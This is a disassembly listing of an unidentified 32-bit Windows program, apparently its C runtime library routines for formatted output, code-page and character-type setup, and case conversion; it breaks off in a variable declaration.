loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DCD84 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43CBD0 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43CCC0 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 28D0000h cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DCEA0 cmp [ebp+var_18], 1 mov dword_4DCD84, esi rep stosd stosb mov dword_4DCFA4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DCEA1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DCEA0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43CBE0[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43CBC8[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DCEA1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DCD9C, 1 push eax mov dword_4DCD84, eax call sub_42008C lea esi, dword_43CBD4[esi] mov edi, offset dword_4DCD90 movsd movsd pop ecx mov dword_4DCFA4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DCEA1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DCFA4, eax mov dword_4DCD9C, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DCD9C, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DCD90 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB9B0, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB9B0, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB9B0, 1 nop jmp near ptr 2660809h ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB9B0, 1 nop jmp near ptr 28D072Eh ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB9F4 mov dword_4DB9B0, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DCEA0 rep stosd stosb xor eax, eax mov edi, offset dword_4DCD90 mov dword_4DCD84, eax mov dword_4DCD9C, eax mov dword_4DCFA4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DCD84 nop call near ptr 28D0000h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DCFA4 push dword_4DCD84 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DCD84 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DCFA4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DCD84 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DCFA4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DCEA1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DCDA0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DCEA1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DCDA0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DCEA1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DCDA0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DCEA1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DCDA0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DCFD4, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DCFD4, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DCD9C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DCEA1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB9E4, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43CBB4, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C9A8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C9A8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB9E4 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB92C, ecx mov eax, offset dword_43CCC0 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43CE28 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB928, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43CCC4[edx*8] mov dword_4DB928, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB928, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB928, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43D0B8 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43D0D8 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DBB10 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB9B4[eax*4], 0 push ebx push edi lea edi, ds:4DB9B4h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr 